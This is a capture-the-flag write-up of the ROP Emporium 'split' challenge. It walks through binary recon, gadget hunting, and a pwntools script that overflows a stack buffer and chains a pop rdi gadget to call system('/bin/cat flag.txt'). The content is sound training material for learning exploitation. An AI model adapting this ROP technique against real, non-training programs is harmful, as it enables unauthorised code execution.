ROP Emporium: split
Building a ROP chain to call system() with a custom string argument
contents
#Challenge Info
Use ROP (Return-Oriented Programming) to call system("/bin/cat flag.txt") by chaining gadgets together.
#Recon
$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not strippedpwndbg> checksec
File: split
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: NoSame protections as ret2win - no canary, no PIE, but NX is enabled so we need ROP instead of shellcode.
#Gathering Intel
First, let's see what useful strings exist:
$ strings split | grep "flag"
/bin/cat flag.txtThe command we need is in the binary. Now let's find available functions:
pwndbg> info functions
0x0000000000400560 system@plt
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunctionsystem@plt is available, and there's a usefulFunction:
pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.This calls system() but with the wrong argument:
pwndbg> x/s 0x40084a
0x40084a: "/bin/ls"Not useful - we need /bin/cat flag.txt. Let's find its address:
$ objdump -s split | grep "cat flag"
601060 2f62696e 2f636174 20666c61 672e7478 /bin/cat flag.txString address: 0x601060
#The ROP Strategy
In x86-64, the first function argument goes in the rdi register. We need to:
- Load
0x601060(our string) intordi - Call
system()
We need a pop rdi; ret gadget:
$ ROPgadget --binary split --only "pop|ret"
Gadgets information
============================================================
0x00000000004007c3 : pop rdi ; ret
0x000000000040053e : ret
...0x4007c3 - exactly what we need.
#Vulnerability
Same pattern as ret2win, pwnme allocates 32 bytes but reads 96 bytes (0x60):
0x00000000004006ec <+4>: sub rsp,0x20 ; 32 bytes allocated
...
0x0000000000400723 <+59>: mov edx,0x60 ; reading 96 bytes!Offset to return address: 40 bytes (32 buffer + 8 saved RBP)
#Building the ROP Chain
Stack after overflow:
+------------------+
| 'A' * 40 | <- padding
+------------------+
| pop rdi; ret | <- gadget address
+------------------+
| 0x601060 | <- gets popped into rdi
+------------------+
| system@plt | <- execute system(rdi)
+------------------+
Flow:
retpops0x4007c3into RIPpop rdipops0x601060into RDIretpops0x40074binto RIPsystem("/bin/cat flag.txt")executes
#Exploitation
from pwn import *
# addresses
pop_rdi_ret = p64(0x4007c3)
cat_flag = p64(0x601060)
system_call = p64(0x40074b) # use call system in usefulFunction
p = process('./split')
payload = b'A' * 40
payload += pop_rdi_ret
payload += cat_flag
payload += system_call
p.send(payload)
p.interactive()Note: We use 0x40074b (the call system inside usefulFunction) rather than system@plt directly to avoid stack alignment issues that can occur with modern libc.
#Key Takeaways
- ROP chains let us execute arbitrary code even with NX enabled
- x64 calling convention: first arg in
rdi, second inrsi, etc. - Gadget hunting: tools like ROPgadget find useful instruction sequences
- Stack alignment: sometimes you need to be careful about 16-byte alignment when calling libc functions